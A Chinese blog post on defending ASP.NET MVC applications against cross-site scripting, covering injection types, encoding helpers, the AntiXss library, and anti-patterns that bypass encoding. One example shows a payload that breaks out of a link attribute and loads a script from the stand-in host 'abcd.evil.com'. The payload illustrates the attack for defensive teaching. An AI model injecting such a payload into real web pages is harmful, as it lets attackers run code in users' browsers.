• MVC WEB安全——XSS攻击防御


    XSS(跨站脚本攻击)

    描述:

    原理:攻击者往Web页面里插入恶意代码,当用户浏览该页之时,嵌入其中Web里面的代码会被执行,从而达到攻击用户的特殊目的。

    类别

    1)被动注入(Passive Injection)。用户将恶意代码输入到表单中,保存到数据库,然后再显示在网站上;

    2)主动注入(Active Injection)。用户将恶意代码输入到文本框中并将输入的内容立刻在屏幕上显示出来。

    XSS攻击在Web上排名第一,遗憾的是,导致XSS猖獗的原因是Web开发人员不熟悉这种攻击(好遗憾哦。。。)。

    避免:

    1)对所有内容都进行HTML编码;

          Razor引擎默认对输出内容进行HTML编码。如:@Model.FirstName。

          如果非Razor引擎,则如:

    <% Html.Encode(Model.FirstName) %>

    2)使用Html.AttributeEncode和Url.Encode;

          

    <a href=”<%= Url.Action(“Index”,"home”,new { name = ViewData[“name”]})%>">点击我</a>

           将name改为:

    "></a><script src = “http://abcd.evil.com”></script><a href= "
        则攻击成功。 

          编码1:

    <a href=”<%= Url.Action(“Index”,”home”,new { name = Html.AttributeEncode(ViewData[“name”])})%>”>点击我</a>

          编码2:

    <a href=”<%= Url.Encode(Url.Action(“Index”,”home”,new { name = ViewData[“name”] }))%>”>点击我</a>

    3)对Ajax.JavaScriptStringEncode进行JavaScript编码。

          如

    var searchItem = “@Html.Raw(Ajax. JavaScriptStringEncode(Model))”;

    4)将AntiXss库作为ASP.NET的默认编码器。

    反模式:

    1)使用

    Html.Raw(Model.ReturnUrl)
    绕过编码;

    2)使用

    [AllowHtml]
    对模型的属性禁用请求验证;

    3)使用

    [ValidateInput(false)]
    对Controller或者Action禁用请求验证。
  • 相关阅读:
    __iter__方法demo
    开放封闭原则
    单例模式
    Python赋值、浅拷贝、深拷贝
    保留原页面的参数条件
    request.GET、request.POST、request.body(持续更新)
    面向对象的封装、继承、多态(持续更新)
    关于Form、ModelForm的一些操作(持续更新)
    创建类的两种方式
    Nginx深度优化
  • 原文地址:https://www.cnblogs.com/pengzhen/p/3801140.html
Copyright © 2020-2023  润新知